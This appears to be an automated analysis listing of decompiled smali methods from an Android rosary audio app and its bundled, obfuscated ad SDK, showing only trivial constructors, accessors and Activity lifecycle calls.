0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$imageURL:Ljava/lang/String;
3iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView$2;->val$fileNameWithExt:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4const/4 v0, 0x0
5iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpuhWebViewClient;->isErrorOccured:Z
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4const/4 v0, 0x0
5iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->useCustomClose:Z
6return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$url:Ljava/lang/String;
3iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$5;->val$fileName:Ljava/lang/String;
5invoke-direct {p0}, Ljava/lang/Object;-><init>()V
6return-void
Strings
  • 0
Position Instruction Meta Information
0.prologue
1const/4 v0, 0x0
2sput-object v0, Lcom/vxjxu/jkhfn1870/SetPreferences;->json:Lorg/json/JSONObject;
4const-string v0, "0"
5sput-object v0, Lcom/vxjxu/jkhfn1870/SetPreferences;->token:Ljava/lang/String;
6return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3const/4 v0, 0x0
4iput-boolean v0, p0, Lprsolutions/rosariofacileads/Opzioni;->sleep_mode:Z
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lprsolutions/rosariofacileads/Player;
1.prologue
2iput-object p1, p0, Lprsolutions/rosariofacileads/Player$1;->this$0:Lprsolutions/rosariofacileads/Player;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lprsolutions/rosariofacileads/Player;
1.prologue
2iput-object p1, p0, Lprsolutions/rosariofacileads/Player$2;->this$0:Lprsolutions/rosariofacileads/Player;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • prsolutions.rosariofacileads.Player.playAudio
Position Instruction Meta Information
0.param p0, "x0" # Lprsolutions/rosariofacileads/Player;
1.param p1, "x1" # Ljava/lang/Integer;
2.prologue
4invoke-direct {p0, p1}, Lprsolutions/rosariofacileads/Player;->playAudio(Ljava/lang/Integer;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lprsolutions/rosariofacileads/RosarioFacile;
1.prologue
2iput-object p1, p0, Lprsolutions/rosariofacileads/RosarioFacile$1;->this$0:Lprsolutions/rosariofacileads/RosarioFacile;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lprsolutions/rosariofacileads/RosarioFacile;
1.prologue
2iput-object p1, p0, Lprsolutions/rosariofacileads/RosarioFacile$2;->this$0:Lprsolutions/rosariofacileads/RosarioFacile;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.access$1100
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$6;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
4invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$1100(Lcom/vxjxu/jkhfn1870/AdView;)V
5return-void
APIs
  • com.vxjxu.jkhfn1870.AdView.access$1200
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView$7;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
4invoke-static {v0}, Lcom/vxjxu/jkhfn1870/AdView;->access$1200(Lcom/vxjxu/jkhfn1870/AdView;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->this$1:Lcom/vxjxu/jkhfn1870/AdView$8;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/AdView$8$1;->val$result:Ljava/lang/Boolean;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.parseBannerAd
Position Instruction Meta Information
0.param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView;
1.param p1, "x1" # Lorg/json/JSONObject;
2.prologue
4invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/AdView;->parseBannerAd(Lorg/json/JSONObject;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$8;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/AirPlay$8;->val$adtype:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->this$1:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView$2;->val$this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
4invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->val$event:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
APIs
  • com.vxjxu.jkhfn1870.ImageTask.onPostExecute
Position Instruction Meta Information
0.param p1, "x0" # Ljava/lang/Object;
1.prologue
2check-cast p1, Ljava/lang/Void;
4invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/ImageTask;->onPostExecute(Ljava/lang/Void;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$3;->val$e:Ljava/lang/Exception;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->val$js_code:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->val$event:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView$AirpushWebChromeClient.<init>
Position Instruction Meta Information
0.param p1, "x0" # Lcom/vxjxu/jkhfn1870/MraidView;
1.param p2, "x1" # Lcom/vxjxu/jkhfn1870/MraidView$1;
2.prologue
4invoke-direct {p0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$1;->val$url:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$4;->val$url:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$6;->val$json:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
2iput-object p2, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->this$0:Lcom/vxjxu/jkhfn1870/SendIntegrationError;
2iput p2, p0, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;->val$code:I
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$1;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.os.Handler.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$2;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Landroid/os/Handler;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$3;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$4;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$5;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$6;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$7;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$8;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.util.TimerTask.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AdView$9;->this$0:Lcom/vxjxu/jkhfn1870/AdView;
3invoke-direct {p0}, Ljava/util/TimerTask;-><init>()V
4return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.removeOldViews
Position Instruction Meta Information
0.param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView;
1.prologue
3invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->removeOldViews()V
4return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.loadRichMediaAd
Position Instruction Meta Information
0.param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView;
1.prologue
3invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->loadRichMediaAd()V
4return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.loadBannerAd
Position Instruction Meta Information
0.param p0, "x0" # Lcom/vxjxu/jkhfn1870/AdView;
1.prologue
3invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AdView;->loadBannerAd()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$1;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$2;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$3;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$4;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$5;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$6;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/AirPlay$7;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.os.Handler.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity;
3invoke-direct {p0}, Landroid/os/Handler;-><init>()V
4return-void
APIs
  • android.app.Activity.onConfigurationChanged
Position Instruction Meta Information
0.param p1, "newConfig" # Landroid/content/res/Configuration;
1.prologue
3invoke-super {p0, p1}, Landroid/app/Activity;->onConfigurationChanged(Landroid/content/res/Configuration;)V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$1;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$2;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • android.webkit.WebChromeClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
3invoke-direct {p0}, Landroid/webkit/WebChromeClient;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$2;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$3;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.setDataInJs
Position Instruction Meta Information
0.param p0, "x0" # Lcom/vxjxu/jkhfn1870/MraidView;
1.prologue
3invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->setDataInJs()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread$1;->this$0:Lcom/vxjxu/jkhfn1870/NetworkThread;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread$2;->this$0:Lcom/vxjxu/jkhfn1870/NetworkThread;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • org.apache.http.entity.HttpEntityWrapper.<init>
Position Instruction Meta Information
0.param p1, "wrapped" # Lorg/apache/http/HttpEntity;
1.prologue
3invoke-direct {p0, p1}, Lorg/apache/http/entity/HttpEntityWrapper;-><init>(Lorg/apache/http/HttpEntity;)V
4return-void
Cross References
APIs
  • android.webkit.WebViewClient.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$1;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
3invoke-direct {p0}, Landroid/webkit/WebViewClient;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$2;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/OverlayAd;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SDKIntializer$1;->val$message:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SDKIntializer$2;->val$message:Ljava/lang/String;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/vxjxu/jkhfn1870/SDKIntializer$3;->val$adType:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
4return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Activity.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
3return-void
APIs
  • android.app.Activity.onPause
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onPause()V
3return-void
APIs
  • android.app.Activity.onResume
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onResume()V
3return-void
APIs
  • android.app.Activity.onStart
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onStart()V
3return-void
APIs
  • android.app.Activity.onPause
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onPause()V
3return-void
APIs
  • android.app.Activity.onRestart
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onRestart()V
3return-void
APIs
  • android.app.Activity.onStart
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onStart()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Activity.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
3return-void
APIs
  • android.app.Activity.onPause
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onPause()V
3return-void
APIs
  • android.app.Activity.onRestart
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onRestart()V
3return-void
APIs
  • android.app.Activity.onResume
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onResume()V
3return-void
APIs
  • android.app.Activity.onStart
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onStart()V
3return-void
APIs
  • android.app.Activity.onStop
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onStop()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void